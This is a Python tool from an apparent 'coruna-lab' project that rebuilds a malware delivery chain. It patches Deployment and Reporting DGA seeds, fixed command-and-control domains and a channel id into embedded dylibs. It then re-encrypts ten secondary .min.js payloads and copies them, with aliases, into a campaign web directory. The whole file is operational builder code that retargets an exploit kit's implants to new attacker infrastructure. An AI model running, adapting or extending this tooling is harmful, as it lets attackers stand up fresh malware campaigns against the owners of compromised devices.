coruna-lab/tools/patch_secondary_packs.py

#!/usr/bin/env python3
"""Patch DGA seeds / fixed domains / channel id in type-0x01 and rebuild .min.js."""

from __future__ import annotations

import argparse
import json
import shutil
from pathlib import Path

from _channel_patch import patch_channel_in_dylib, validate_channel_id
from _common import (
    GROUP_DYLIBS,
    LAB_ROOT,
    ORIGINAL_CHANNEL_ID,
    SECONDARY_KEYS,
    SOURCE_ROOT,
    ensure_tree_layout,
    patch_seeds_in_dylib,
    set_tree_root,
    sha256_hex,
    tree_root,
    validate_seed_arg,
)
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
import _common


def main() -> int:
    parser = argparse.ArgumentParser(
        description=(
            "Replace Deployment/Reporting seeds (and optional fixed domains / channel id) "
            "in type-0x01 helpers, then re-encrypt all 10 secondary .min.js."
        )
    )
    parser.add_argument(
        "--deployment-seed",
        required=True,
        help="new Deployment DGA seed (<=32 ASCII; recommend 32 hex chars)",
    )
    parser.add_argument(
        "--reporting-seed",
        required=True,
        help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)",
    )
    parser.add_argument(
        "--channel-id",
        help=(
            f"new 32-hex channel id written into type-0x01 and used as web/<id>/ "
            f"(default: keep {ORIGINAL_CHANNEL_ID})"
        ),
    )
    parser.add_argument(
        "--root",
        type=Path,
        help="project root containing web/ + sync/ (required with --apply)",
    )
    parser.add_argument(
        "--out",
        type=Path,
        help="output directory for rebuilt .min.js (default: <root>/out/secondary or lab out/)",
    )
    parser.add_argument(
        "--apply",
        action="store_true",
        help="also copy outputs into <root>/web/<channel-id>/",
    )
    parser.add_argument(
        "--deployment-domains",
        action="append",
        default=[],
        help="fixed Deployment hosts (comma-separated or repeatable); skips DGA",
    )
    parser.add_argument(
        "--reporting-domains",
        action="append",
        default=[],
        help="fixed Reporting hosts (comma-separated or repeatable); skips DGA",
    )
    args = parser.parse_args()
    dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
    rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
    channel = (
        validate_channel_id(args.channel_id)
        if args.channel_id
        else ORIGINAL_CHANNEL_ID
    )
    fixed_dep = (
        parse_domain_list(args.deployment_domains, label="deployment")
        if args.deployment_domains
        else None
    )
    fixed_rep = (
        parse_domain_list(args.reporting_domains, label="reporting")
        if args.reporting_domains
        else None
    )
    if bool(fixed_dep) != bool(fixed_rep):
        raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")

    if args.root:
        set_tree_root(args.root, channel=channel)
        ensure_tree_layout(tree_root(), channel=channel)
    else:
        _common.set_campaign_id(channel)

    if args.apply:
        if not args.root:
            raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
        if tree_root().resolve() == SOURCE_ROOT.resolve():
            raise SystemExit("refusing --apply into source/; create a project first")

    out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary")

    campaign_dir = _common.CAMPAIGN_DIR
    meta = json.loads(SECONDARY_KEYS.read_text())
    stems = meta["stems"]

    patched: dict[str, bytes] = {}
    for group, path in GROUP_DYLIBS.items():
        if not path.is_file():
            raise SystemExit(f"missing source dylib: {path}")
        data = patch_seeds_in_dylib(
            path.read_bytes(),
            dep,
            rep,
            expect_dep=1,
            expect_rep=1,
            label=path.name,
        )
        if fixed_dep is not None and fixed_rep is not None:
            data = patch_fixed_domains_in_dylib(
                data,
                fixed_dep,
                fixed_rep,
                deployment_seed=dep,
                reporting_seed=rep,
                label=path.name,
            )
        if channel != ORIGINAL_CHANNEL_ID:
            data = patch_channel_in_dylib(
                data,
                channel,
                old_channel=ORIGINAL_CHANNEL_ID,
                expect_hits=1,
                label=path.name,
            )
        patched[group] = data
        print(
            f"group {group}: patched {path.name} "
            f"sha256={sha256_hex(patched[group])[:16]}… size={len(patched[group])}"
        )

    out.mkdir(parents=True, exist_ok=True)
    (out / "dylibs").mkdir(exist_ok=True)
    for group, data in patched.items():
        (out / "dylibs" / f"group_{group}_type0x01.dylib").write_bytes(data)

    built = []
    for stem, info in stems.items():
        group = info["group"]
        key = bytes.fromhex(info["key"])
        wire = encrypt_secondary_minjs(patched[group], key)
        check = decrypt_secondary_minjs(wire, key)
        if check != patched[group]:
            raise SystemExit(f"round-trip failed for {stem}")
        dest = out / f"{stem}.min.js"
        dest.write_bytes(wire)
        built.append(
            {
                "stem": stem,
                "group": group,
                "size": len(wire),
                "sha256": sha256_hex(wire),
            }
        )
        print(f"  wrote {dest.name} ({len(wire)} bytes)")

    manifest = {
        "deployment_seed": dep,
        "reporting_seed": rep,
        "channel_id": channel,
        "mode": "fixed_domains" if fixed_dep is not None else "dga",
        "deployment_domains": fixed_dep,
        "reporting_domains": fixed_rep,
        "files": built,
        "group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
    }
    (out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")

    if args.apply:
        campaign_dir.mkdir(parents=True, exist_ok=True)
        for item in built:
            src = out / f"{item['stem']}.min.js"
            dst = campaign_dir / src.name
            shutil.copy2(src, dst)
            print(f"applied -> {dst}")
            # Template may ship prefixed aliases like 34058858_<stem>.min.js
            for alias in campaign_dir.glob(f"*_{item['stem']}.min.js"):
                shutil.copy2(src, alias)
                print(f"applied alias -> {alias}")

    print(f"\nDone. Output: {out}")
    print(f"channel: {channel}")
    if not args.apply:
        print(f"Re-run with --apply --root <project> to overwrite files under web/{channel}/")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())